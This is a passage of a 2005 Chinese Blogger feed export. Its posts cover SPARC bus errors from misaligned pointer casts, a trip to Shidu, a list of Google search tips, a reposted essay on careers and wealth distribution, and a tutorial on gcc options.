/&gt;的汇编指令有ldw、lduh等等。有人可能碰上读操作也导致SIGBUS，觉得不可理解，&lt;br /&gt;其实读写导致SIGBUS没有本质区别，比如ldw只能读4字节边界上的地址。&lt;br /&gt;&lt;br /&gt;bus.c是显式的未对齐。程序员实际最容易面对的是隐式未对齐，主要来自指针的强&lt;br /&gt;制类型转换。下面举例说明这种情形。&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;/*&lt;br /&gt;* Test: SPARC/Solaris 8 64-bit kernel mode&lt;br /&gt;* gcc -Wall -pipe -g -o other_bus other_bus.c&lt;br /&gt;*/&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;int main ( int argc, char * argv[] )&lt;br /&gt;{&lt;br /&gt;   unsigned int        i = 0x12345678;&lt;br /&gt;   unsigned short int  j = 0x0000;&lt;br /&gt;&lt;br /&gt;   j = *( ( unsigned short int * )( ( ( unsigned char * )&amp;i  ) + 1 ) );&lt;br /&gt;   return( EXIT_SUCCESS );&lt;br /&gt;}  /* end of main */&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;$ ./other_bus&lt;br /&gt;总线错误 (core dumped)&lt;br /&gt;$ gdb ./other_bus core&lt;br /&gt;GNU gdb 5.0&lt;br /&gt;#0  main (argc=1, argv=0xffbefc44) at other_bus.c:13&lt;br /&gt;13          j = *( ( unsigned short int * )( ( ( unsigned char * )&amp;i  ) + 1 ) );&lt;br /&gt;(gdb) disas main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x10810    :      save  %sp, -120, %sp&lt;br /&gt;0x10814  :      st  %i0, [ %fp + 0x44 ]&lt;br /&gt;0x10818  :      st  %i1, [ %fp + 0x48 ]&lt;br /&gt;0x1081c :      sethi  %hi(0x12345400), %o1&lt;br /&gt;0x10820 :      or  %o1, 0x278, %o0     ! 0x12345678&lt;br /&gt;0x10824 :      st  %o0, [ %fp + -20 ]&lt;br /&gt;0x10828 :      clrh  [ %fp + -22 ]&lt;br /&gt;0x1082c :      lduh  [ %fp + -19 ], %o0&lt;br /&gt;0x10830 :      sth  %o0, [ %fp + -22 ]&lt;br /&gt;0x10834 :      clr  %i0&lt;br /&gt;0x10838 :      b  0x10840&lt;br /&gt;0x1083c :      nop&lt;br /&gt;0x10840 :      ret&lt;br /&gt;0x10844 :      restore&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) i r pc&lt;br /&gt;pc             0x1082c  67628&lt;br /&gt;(gdb)&lt;br /&gt;&lt;br /&gt;因此在SPARC架构上编程，一定要留神强制类型转换，务必清楚自己正在干什么，有&lt;br /&gt;没有隐患。&lt;br /&gt;&lt;br /&gt;D: yuhuan@smth.org 2004-01-30 11:48&lt;br /&gt;&lt;br /&gt;参Linux的mmap(2)手册页&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;使用映射可能涉及到如下信号&lt;br /&gt;&lt;br /&gt;SIGSEGV&lt;br /&gt;&lt;br /&gt;   试图对只读映射区域进行写操作&lt;br /&gt;&lt;br /&gt;SIGBUS&lt;br /&gt;&lt;br /&gt;   试图访问一块无文件内容对应的内存区域，比如超过文件尾的内存区域，或者以&lt;br /&gt;   前有文件内容对应，现在为另一进程截断过的内存区域。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-113013425891308486?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/113013425891308486/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=113013425891308486' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113013425891308486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113013425891308486'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/sigbussigsegv.html' title='理解SIGBUS与SIGSEGV'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-113004185659168257</id><published>2005-10-23T11:34:00.000+08:00</published><updated>2005-10-23T12:30:56.620+08:00</updated><title type='text'>十渡之旅~~</title><content type='html'>&lt;a href="http://photos1.blogger.com/blogger/3513/1714/640/DSC00752.jpg"&gt;&lt;img style="CLEAR: all; FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://photos1.blogger.com/blogger/3513/1714/320/DSC00752.jpg" border="0" /&gt;&lt;/a&gt;  10月4~5号和班里同学去十渡玩了，还不错，爬山、划船、骑马还有农家：），呵呵。这张照片是在爬到山顶的时候照的，但背景给搞错方向了，所以看到还是山……&amp;nbsp;&lt;a href='http://picasa.google.com/' target='ext'&gt;&lt;img src='http://photos1.blogger.com/pbp.gif' alt='Posted by Picasa' style='border: 0px none ; padding: 0px; background: transparent none repeat scroll 0% 50%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;' align='middle' border='0' /&gt;&lt;/a&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-113004185659168257?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/113004185659168257/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=113004185659168257' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113004185659168257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113004185659168257'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/blog-post_23.html' title='十渡之旅~~'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-112990630547777302</id><published>2005-10-21T22:51:00.000+08:00</published><updated>2007-02-04T14:25:14.385+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><title type='text'>Google搜索技巧2005版</title><content type='html'>注意:文中[]符号是为了突出关键词，在实际搜索中是不包含的;本文采用的是意译;本译文已经征得作者许可;本译文可任意转载，请保留本文的头信息  &lt;p&gt;　　1. 双引号可以用减号代替,比如搜索["like this"]与搜索[like-this]是一个效果&lt;/p&gt; &lt;p&gt;　　2. Google不会处理一些特殊的字符,比如[#](几年前还不行,现在可以了,比如搜索[c#]已经可以搜到相应的结果),但是还有一些字符它不认识,比如搜索[t.]、[t-]与[t^]的结果是一样的&lt;/p&gt; &lt;p&gt;　　3. Google充许一次搜索最多32个关键词&lt;/p&gt; &lt;p&gt;　　4. 在单词前加~符号可以搜索同义词，比如你想搜索[house]，同时也想找[home]，你就可以搜索[~house]&lt;/p&gt; &lt;p&gt;　　5. 如果想得到Google索引页面的总数，可以搜索[* *]&lt;/p&gt; &lt;p&gt;　　6. Google可以指定数字范围搜索。搜索[2001..2005]相当于搜索含有2001、2002直到2005的任意一个数的网页&lt;/p&gt; &lt;p&gt;　　7. 搜索[define:css]相当于搜索css的定义，这招对想学习知识的人很有效;也可以用[what is css]搜索;对中文来说，也可以用[什么是css]之类的&lt;/p&gt; &lt;p&gt;　　8. Google有一定的人工智能，可以识别一些简单的短语如[whenwas Einstein born?]或[einstein birthday]&lt;/p&gt; &lt;p&gt;　　9. 通过[link:]语法，可以寻找含有某个链接的网页，比如[link:&lt;a href="http://blog.outer-court.com/"&gt;blog.outer-court.com&lt;/a&gt;]将找到包括指向 blog.outer-court.com超级链接的网页(最新的Google Blog Search也支持这个语法)，但是Google并不会给出所有的包含此链接的网页，因为它要保证pagerank算法不被反向工程(呵呵，可以参见那两个Google创始人关于pagerank的论文，可下载) &lt;/p&gt; &lt;p&gt;　　10. 如果在搜索的关键词的最后输入[why?]，就会在结果中出现链接到Google Answers的链接http://answers.google.com ，在里面可以进行有偿提问&lt;/p&gt; &lt;p&gt;　　11. 现在出现了一种兴趣活动，叫做Google Hacking，其内容是使用Google搜索一些特定的关键词，以便找到有漏洞的、易被黑客攻击的站点。这个网站列出了这些关键词:Google Hacking Database( &lt;a href="http://johnny.ihackstuff.com/index....ule=prodreviews"&gt;http://johnny.ihackstuff.com/index....ule=prodreviews &lt;/a&gt; )&lt;/p&gt; &lt;p&gt;12. 在Google 中输入一组关键词时，默认是"与"搜索，就是搜索包含有所有关键词的网页。如果要"或"搜索，可以使用大写的[OR]或 [|]，使用时要与关键词之间留有空格。比如搜索关键词[Hamlet (pizza | coke)]，是让Google搜索页面中或页面链接描述中含有Hamlet，并含有pizza与coke两个关键词中任意一个的网页。&lt;/p&gt; &lt;p&gt;　　13. 并非所有的Google服务都支持相同的语法，比如在Google Group中支持 [insubject:test]之类的主题搜索。可以通过高级搜索来摸索这些关键词的用法:进入高级搜索之后设置搜索选项，然后观察关键字输入窗口中的关键字的变化&lt;/p&gt; &lt;p&gt;　　14. 有时候Google懂得一些自然语言，比如搜索关键词[goog], [weather new york, ny], [new york ny]或[war of the worlds]，此时Google会在搜索结果前显示出一个被业内称为"onebox"的结果，试试看吧!&lt;/p&gt; &lt;p&gt;　　15. 并非所有的Google都是相同的，它因国家版本(或是说语言版本)而异。在US版下，搜索[site:&lt;a href="http://stormfront.org/"&gt;stormfront.org&lt;/a&gt;]会有成千上万的结果，而在德语版下，搜索[site:&lt;a href="http://stormfront.org/"&gt;stormfront.org&lt;/a&gt;]的结果，嗯，自己看吧。Google的确与各国政府有内容审查协议，比如德国版，法国版(网页搜索)，中国版Google新闻 &lt;/p&gt; &lt;p&gt;　　16. 有时候Google会提示你搜索结果很烂，比如你搜索关键词[jew]试试，Google会告诉你它给出的搜索结果很烂，然后给你一个解释:&lt;a href="http://www.google.com/explanation.html"&gt;http://www.google.com/explanation.html&lt;/a&gt;&lt;/p&gt; &lt;p&gt;　　17. 以前，搜索某些关键词如[work at Google] 时会看到Google给自己打的广告。可以去http://www.google.com/jobs/了解Google的工作&lt;/p&gt; &lt;p&gt;　　18. 对于一些"Googlebombed"(大概意思是指Google搜索的结果出问题了)的关键词，会有一个广告链接到:http: //googleblog.blogspot.com/2005/09/googlebombing-failure.html (中国大陆需要代理才能访问)。比如搜索[failure]，第一条是美国布什总统介绍&lt;/p&gt; &lt;p&gt;　　19. 虽然现在Google还没有支持自然语言，但这里有一段录像显示了支持自然语言的搜索引擎的使用效果:&lt;a href="http://blog.outer-court.com/videos/googlebrain.wmv"&gt;http://blog.outer-court.com/videos/googlebrain.wmv&lt;/a&gt;&lt;/p&gt; &lt;p&gt;　　20. 有人说在Google中搜索[president of the internet]，其结第一条表明了president of the internet是谁，我也是这么认为的，而且你还可以使用这个logo支持本文作者:&lt;a href="http://blog.outer-/"&gt;http://blog.outer-&lt;/a&gt; &lt;a href="http://court.com/files/president.gif"&gt;court.com/files/president.gif &lt;/a&gt;&lt;/p&gt; &lt;p&gt;　　21. Google现在不再有"stop words"(被强制忽略的关键词)，比如搜索 [to be or not to be], Google返回的结果中间还列有相关的完整短语搜索结果&lt;/p&gt; &lt;p&gt;　　22. 在Google 计算器(&lt;a href="http://www.google.com/help/features.html#calculator"&gt;http://www.google.com/help/features.html#calculator&lt;/a&gt; )中有个彩蛋:输入[what is the answer to life, the universe and everything?]时，会返回42。(关键词翻译过来的意思是指"生命、宇宙和一切的答案"，这是一个著名科幻小说中的情节，详情参见http: //en.wikipedia.org/wiki/The_Answer_to_Life,_the_Universe, _and_Everything)。试试吧，哈哈 &lt;/p&gt; &lt;p&gt;　　23. 你可以在搜索时使用通配符[*]，这在搜索诗词时特别有效。比如你可以搜一下["love you twice as much * oh love * *"] 试试&lt;/p&gt; &lt;p&gt;　　24. 同样，你的关键词可以全部都是通配符，比如搜索["* * * * * * *"]&lt;/p&gt; &lt;p&gt;　　25. www.googl.com是在输错网址后的结果，也是个搜索网站，但搜索结果与Google完全不同。而且此网站也赚Google的钱，因为它使用Google AdSense&lt;/p&gt; &lt;p&gt;　　26. 如果你想把搜索结果限制在大学的网站之中，可以使用[site:.edu]关键词，比如[c-tutorial site:.edu]，这样可以只搜索以edu结尾的网站。你也可以使用Google Scholar来达到这个目的。也可以使用[site:.de]或[site:.it]来搜索某个特定国家的网站12. 在Google 中输入一组关键词时，默认是"与"搜索，就是搜索包含有所有关键词的网页。如果要"或"搜索，可以使用大写的[OR]或 [|]，使用时要与关键词之间留有空格。比如搜索关键词[Hamlet (pizza | coke)]，是让Google搜索页面中或页面链接描述中含有Hamlet，并含有pizza与coke两个关键词中任意一个的网页。 &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-112990630547777302?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/112990630547777302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=112990630547777302' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112990630547777302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112990630547777302'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/google2005.html' title='Google搜索技巧2005版'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-112978009567069640</id><published>2005-10-20T11:43:00.000+08:00</published><updated>2005-10-20T11:48:15.676+08:00</updated><title type='text'>转载：闭门思过，发牢骚</title><content type='html'>看到一篇不错的文章，转载于yuzhiwei的blog：&lt;a href="http://spaces.msn.com/members/yuzhiwei9/Blog/cns!1pkqTEHqyptrtsouZZgFJpEg!126.entry?owner=1"&gt;http://spaces.msn.com/members/yuzhiwei9/Blog/cns!1pkqTEHqyptrtsouZZgFJpEg!126.entry?owner=1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;闭门思过，发牢骚。&lt;br /&gt;闲居数日，又看了一些文章，再乱发点牢骚。      不管国家的整体教育政策是否优秀成功，她毕竟给我们提供了一个接收知识，实践知识的平台，锻炼了我们起码的学习和实践能力。俗话说“不知者不怪”。经过国家多年的培养，我们能接触到的信息越来越多，已经不能算“不知者”了，进而应该感到的责任也是越来越多，担心顾虑也会随之增加。      今天要发的牢骚是：对马上要踏入社会工作的学生来说，对人生追求的定位和国家经济发展趋势的把握是择业和规划自己未来职业发展所必须的。&lt;br /&gt;1，对个人来说，奋斗所追求是什么？&lt;br /&gt;问题：&lt;br /&gt;中国现在经济形势看来一片大好，是不是先找份薪水高的工作，再找机会跻身社会中上阶层就是一生的追求了呢？要先看看国家经济发展的形势。&lt;br /&gt;一个常被引用的例子：&lt;br /&gt;假设在一个地方发现了金矿，来了一个人投资建了一个矿场，雇一百个工人为他淘金，每年获利1000万。&lt;br /&gt;第一种情况：每年获利1000万，矿主把其中10%作为工资发下去，每个工人一年1万。这些钱只够他们勉强填饱肚子，没有钱租房子，没有钱讨老婆，只能住窝棚。矿主一年赚了900万，但是看一看满眼都是穷人，本地再投资什么都不会有需求。于是，他把钱转到国外，因为在本地根本就不安全，他盖几个豪华别墅，雇几个工人当保镖，工人没有前途，除了拼命工作糊口，根本没有别的需求。唯一可能有戏的就是想办法骗一个老婆来，生一个漂亮女儿，或许还可以嫁给矿主做老婆。 50年下去以后，这个地方除了豪华别墅，依然没有别的产业。等到矿挖完了，矿主带着巨款走了，工人要么流亡，要么男的为盗，女的为娼。&lt;br /&gt;而第二种情况是这样的：每年获利1000万，矿主把其中的50%做为工人工资发下去，每个工人每年收入5万，他们拿一万来租房子，剩下的四万可以结婚，生孩子，成家立业，矿主手里还有五百万，可以做投资。因为工人手里有钱，要安家落户，所以，房子出现需求。于是矿主用手里的钱盖房子，租给工     人，或者卖给工人。工人要吃要喝，所以，开饭店，把工人手里的钱再赚回来。开饭馆又要雇别的工人，于是工人的妻子有了就业机会，也有了收入。一个家庭的消费需求就更大了。这样，几年之后，在这个地方出现了100个家庭。孩子要读书，有了教育的需求，于是有人来办学校，工人要约会，要消费，要做别的东西，于是有了电影院，有了商店，这样，50年过去以后，当这个地方的矿快被挖光了的时候，这里已经成了一个10万人左右的繁荣城市。                                       &lt;br /&gt;结论：这个例子说明了是社会财富分配方式的不同对经济反展产生的影响。&lt;br /&gt;似乎人总是有攀比的概念：如果一个人比周围大多数人生活的好，他就能有满足感和优越感，认为自己是幸福的。矿主如果没有理性的长期规划，直觉上肯定会选择第一种方式来分配财富。我们可以看到，虽然他是在社会的最高层，可是这是一个没有希望的社会，你站在最高层又能怎样呢？一个人正确的追求，不是用掠夺的方式来赚取社会财富，而是努力为建立良好的财富再生体制做贡献，对人对己都是双赢的。&lt;br /&gt;亨利?福特说，我要让我的每一个工人买的起我的T型车，这就是我的榜样。&lt;br /&gt;&lt;br /&gt;2，去哪里，外企、大垄断国企？&lt;br /&gt;再来看看经济形势。发展的策略不会永远以市场换技术，不会永远甘于做初级加工厂，处在食物链最底层。走出去，走到食物链的高层是发展的必然趋势。&lt;br /&gt;表象：外企怎么样？薪水高，技术先进，企业文化自由，管理体制先进...大垄断国企怎么样？油水多，福利好，薪水和外企已经相差无几，制度正在改革，新企业文化也在培养中...&lt;br /&gt;发展：外企：带有"××中国"字样的外企，注定了要作为"××"的附庸的。拿不到核心技术，永远没有能力另起炉灶，永远不能在世界市场上与"××"相提并论的，永远只是别人手下的打工仔。更重要的是，以低廉的劳动力换来的投资将不会长久，因为一旦出现劳动力成本更低的市场，跨国巨头马上就会进行产业转移。到了个时候，不知道在外企还能给我们留下什么。&lt;br /&gt;大垄断国企：靠着国家政策垄断获利的企业，你能期望他能有创新和创业的文化么？你能期望这样的文化下的企业能靠自己的实力到国际市场上与国外的跨国公司死磕么？&lt;br /&gt;中小型私企或者新兴高科技国企：这部分的企业比较参差不齐。但是那些自立更生为主，正在发展自有知识产权的技术和产品的企业是我看好的。我知道一个例子，学汽车的，不如去奇瑞。这些地方才是中国未来的希望。近来听说国家科技战略全面修整，总结韩国经验拒绝拉美化，将来这些地方才是国家需要重点扶植的。&lt;br /&gt;结论：如果想学技术，想受良好的企业文化和管理体制熏陶，可以先到外企去，但这永远是权益之计。如果想做自己的技术，要做自己的事业，最终还是要回到我们的民族企业中来。&lt;br /&gt;3，鲁迅先生说，最有希望的就是我们的青年。最有希望的人应该有着最有希望的追求，投身到最有希望的事业里面，不是么？&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-112978009567069640?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/112978009567069640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=112978009567069640' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112978009567069640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112978009567069640'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/blog-post_20.html' title='转载：闭门思过，发牢骚'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-112977517576476024</id><published>2005-10-20T10:24:00.000+08:00</published><updated>2005-10-20T10:26:15.766+08:00</updated><title type='text'>UNIX系统开发－gcc参数详解</title><content type='html'>UNIX系统开发－gcc参数详解&lt;br /&gt;[转载自 http://www.linuxfans.org]&lt;br /&gt;&lt;br /&gt;[介绍]&lt;br /&gt;gcc and g++分别是gnu的c &amp; c++编译器 gcc/g++在执行编译工作的时候，总共需要4步&lt;br /&gt;&lt;br /&gt;1.预处理,生成.i的文件[预处理器cpp]&lt;br /&gt;2.将预处理后的文件不转换成汇编语言,生成文件.s[编译器egcs]&lt;br /&gt;3.有汇编变为目标代码(机器代码)生成.o的文件[汇编器as]&lt;br /&gt;4.连接目标代码,生成可执行程序[链接器ld]&lt;br /&gt;[参数详解]&lt;br /&gt;-x language filename&lt;br /&gt;　 设定文件所使用的语言,使后缀名无效,对以后的多个有效.也就是根据约定C语言的后&lt;br /&gt;缀名称是.c的，而C++的后缀名是.C或者.cpp,如果你很个性，决定你的C代码文件的后缀&lt;br /&gt;名是.pig 哈哈，那你就要用这个参数,这个参数对他后面的文件名都起作用，除非到了&lt;br /&gt;下一个参数的使用。&lt;br /&gt;　　可以使用的参数吗有下面的这些&lt;br /&gt;　　`c', `objective-c', `c-header', `c++', `cpp-output', `assembler', and `a&lt;br /&gt;ssembler-with-cpp'.&lt;br /&gt;　　看到英文，应该可以理解的。&lt;br /&gt;　　例子用法:&lt;br /&gt;　　gcc -x c hello.pig&lt;br /&gt;　　&lt;br /&gt;-x none filename&lt;br /&gt;　　关掉上一个选项，也就是让gcc根据文件名后缀，自动识别文件类型&lt;br /&gt;　　例子用法:&lt;br /&gt;　　gcc -x c hello.pig -x none hello2.c&lt;br /&gt;　　&lt;br /&gt;-c&lt;br /&gt;　　只激活预处理,编译,和汇编,也就是他只把程序做成obj文件&lt;br /&gt;　　例子用法:&lt;br /&gt;　　gcc -c hello.c&lt;br /&gt;　　他将生成.o的obj文件&lt;br /&gt;-S&lt;br /&gt;　　只激活预处理和编译，就是指把文件编译成为汇编代码。&lt;br /&gt;　　例子用法&lt;br /&gt;　　gcc -S hello.c&lt;br /&gt;　　他将生成.s的汇编代码，你可以用文本编辑器察看&lt;br /&gt;-E&lt;br /&gt;　　只激活预处理,这个不生成文件,你需要把它重定向到一个输出文件里面.&lt;br /&gt;　　例子用法:&lt;br /&gt;　　gcc -E hello.c &gt; pianoapan.txt&lt;br /&gt;　　gcc -E hello.c  more&lt;br /&gt;　　慢慢看吧,一个hello word 也要与处理成800行的代码&lt;br /&gt;-o&lt;br /&gt;　　制定目标名称,缺省的时候,gcc 编译出来的文件是a.out,很难听,如果你和我有同感&lt;br /&gt;，改掉它,哈哈&lt;br /&gt;　　例子用法&lt;br /&gt;　　gcc -o hello.exe hello.c (哦,windows用习惯了)&lt;br /&gt;　　gcc -o hello.asm -S hello.c&lt;br /&gt;-pipe&lt;br /&gt;　　使用管道代替编译中临时文件,在使用非gnu汇编工具的时候,可能有些问题&lt;br /&gt;　　gcc -pipe -o hello.exe hello.c&lt;br /&gt;-ansi&lt;br /&gt;　　关闭gnu c中与ansi c不兼容的特性,激活ansi c的专有特性(包括禁止一些asm inl&lt;br /&gt;ine typeof关键字,以及UNIX,vax等预处理宏,&lt;br /&gt;-fno-asm&lt;br /&gt;　　此选项实现ansi选项的功能的一部分，它禁止将asm,inline和typeof用作关键字。&lt;br /&gt;　　　　&lt;br /&gt;-fno-strict-prototype&lt;br /&gt;　　只对g++起作用,使用这个选项,g++将对不带参数的函数,都认为是没有显式的对参数&lt;br /&gt;的个数和类型说明,而不是没有参数.&lt;br /&gt;　　而gcc无论是否使用这个参数,都将对没有带参数的函数,认为城没有显式说明的类型&lt;br /&gt;&lt;br /&gt;　　&lt;br /&gt;-fthis-is-varialble&lt;br /&gt;　　就是向传统c++看齐,可以使用this当一般变量使用.&lt;br /&gt;　　&lt;br /&gt;-fcond-mismatch&lt;br /&gt;　　允许条件表达式的第二和第三参数类型不匹配,表达式的值将为void类型&lt;br /&gt;　　&lt;br /&gt;-funsigned-char&lt;br /&gt;-fno-signed-char&lt;br /&gt;-fsigned-char&lt;br /&gt;-fno-unsigned-char&lt;br /&gt;　　这四个参数是对char类型进行设置,决定将char类型设置成unsigned char(前两个参&lt;br /&gt;数)或者 signed char(后两个参数)&lt;br /&gt;　　&lt;br /&gt;-include file&lt;br /&gt;　　包含某个代码,简单来说,就是便以某个文件,需要另一个文件的时候,就可以用它设&lt;br /&gt;定,功能就相当于在代码中使用#include&lt;filename&gt;&lt;br /&gt;　　例子用法:&lt;br /&gt;　　gcc hello.c -include /root/pianopan.h&lt;br /&gt;　　&lt;br /&gt;-imacros file&lt;br /&gt;　　将file文件的宏,扩展到gcc/g++的输入文件,宏定义本身并不出现在输入文件中&lt;br /&gt;　　&lt;br /&gt;-Dmacro&lt;br /&gt;　　相当于C语言中的#define macro&lt;br /&gt;　　&lt;br /&gt;-Dmacro=defn&lt;br /&gt;　　相当于C语言中的#define macro=defn&lt;br /&gt;　　&lt;br /&gt;-Umacro&lt;br /&gt;　　相当于C语言中的#undef macro&lt;br /&gt;-undef&lt;br /&gt;　　取消对任何非标准宏的定义&lt;br /&gt;　　&lt;br /&gt;-Idir&lt;br /&gt;　　在你是用#include"file"的时候,gcc/g++会先在当前目录查找你所制定的头文件,如&lt;br /&gt;果没有找到,他回到缺省的头文件目录找,如果使用-I制定了目录,他&lt;br /&gt;　　回先在你所制定的目录查找,然后再按常规的顺序去找.&lt;br /&gt;　　对于#include&lt;file&gt;,gcc/g++会到-I制定的目录查找,查找不到,然后将到系统的缺&lt;br /&gt;省的头文件目录查找&lt;br /&gt;　　&lt;br /&gt;-I-&lt;br /&gt;　　就是取消前一个参数的功能,所以一般在-Idir之后使用&lt;br /&gt;　　&lt;br /&gt;-idirafter dir&lt;br /&gt;　　在-I的目录里面查找失败,讲到这个目录里面查找.&lt;br /&gt;　　&lt;br /&gt;-iprefix prefix&lt;br /&gt;-iwithprefix dir&lt;br /&gt;　　一般一起使用,当-I的目录查找失败,会到prefix+dir下查找&lt;br /&gt;　　&lt;br /&gt;-nostdinc&lt;br /&gt;　　使编译器不再系统缺省的头文件目录里面找头文件,一般和-I联合使用,明确限定头&lt;br /&gt;文件的位置&lt;br /&gt;　　&lt;br /&gt;-nostdin C++&lt;br /&gt;　　规定不在g++指定的标准路经中搜索,但仍在其他路径中搜索,.此选项在创libg++库&lt;br /&gt;使用&lt;br /&gt;　　&lt;br /&gt;-C&lt;br /&gt;　　在预处理的时候,不删除注释信息,一般和-E使用,有时候分析程序，用这个很方便的&lt;br /&gt;&lt;br /&gt;　　&lt;br /&gt;-M&lt;br /&gt;　　生成文件关联的信息。包含目标文件所依赖的所有源代码你可以用gcc -M hello.c&lt;br /&gt;来测试一下，很简单。&lt;br /&gt;　　&lt;br /&gt;-MM&lt;br /&gt;　　和上面的那个一样，但是它将忽略由#include&lt;file&gt;造成的依赖关系。&lt;br /&gt;　　&lt;br /&gt;-MD&lt;br /&gt;　　和-M相同，但是输出将导入到.d的文件里面&lt;br /&gt;　　&lt;br /&gt;-MMD&lt;br /&gt;　　和-MM相同，但是输出将导入到.d的文件里面&lt;br /&gt;　　&lt;br /&gt;-Wa,option&lt;br /&gt;　　此选项传递option给汇编程序;如果option中间有逗号,就将option分成多个选项,然&lt;br /&gt;后传递给会汇编程序&lt;br /&gt;　　&lt;br /&gt;-Wl.option&lt;br /&gt;　　此选项传递option给连接程序;如果option中间有逗号,就将option分成多个选项,然&lt;br /&gt;后传递给会连接程序.&lt;br /&gt;　　&lt;br /&gt;-llibrary&lt;br /&gt;　　制定编译的时候使用的库&lt;br /&gt;　　例子用法&lt;br /&gt;　　gcc -lcurses hello.c&lt;br /&gt;　　使用ncurses库编译程序&lt;br /&gt;　　&lt;br /&gt;-Ldir&lt;br /&gt;　　制定编译的时候，搜索库的路径。比如你自己的库，可以用它制定目录，不然&lt;br /&gt;　　编译器将只在标准库的目录找。这个dir就是目录的名称。&lt;br /&gt;　　&lt;br /&gt;-O0&lt;br /&gt;-O1&lt;br /&gt;-O2&lt;br /&gt;-O3&lt;br /&gt;　　编译器的优化选项的4个级别，-O0表示没有优化,-O1为缺省值，-O3优化级别最高　&lt;br /&gt;　 　　&lt;br /&gt;-g&lt;br /&gt;　　只是编译器，在编译的时候，产生调试信息。&lt;br /&gt;　　&lt;br /&gt;-gstabs&lt;br /&gt;　　此选项以stabs格式声称调试信息,但是不包括gdb调试信息.&lt;br /&gt;　　&lt;br /&gt;-gstabs+&lt;br /&gt;　　此选项以stabs格式声称调试信息,并且包含仅供gdb使用的额外调试信息.&lt;br /&gt;　　&lt;br /&gt;-ggdb&lt;br /&gt;　　此选项将尽可能的生成gdb的可以使用的调试信息.&lt;br /&gt;-static&lt;br /&gt;　　此选项将禁止使用动态库，所以，编译出来的东西，一般都很大，也不需要什么&lt;br /&gt;动态连接库，就可以运行.&lt;br /&gt;-share&lt;br /&gt;　　此选项将尽量使用动态库，所以生成文件比较小，但是需要系统由动态库.&lt;br /&gt;-traditional&lt;br /&gt;　　试图让编译器支持传统的C语言特性&lt;br /&gt;[参考资料]&lt;br /&gt;-Linux/UNIX高级编程&lt;br /&gt;　　中科红旗软件技术有限公司编著.清华大学出版社出版&lt;br /&gt;-Gcc man page&lt;br /&gt;　　&lt;br /&gt;[ChangeLog]&lt;br /&gt;-2002-08-10&lt;br /&gt;　　ver 0.1 发布最初的文档&lt;br /&gt;-2002-08-11&lt;br /&gt;　　ver 0.11 修改文档格式&lt;br /&gt;-2002-08-12&lt;br /&gt;　　ver 0.12 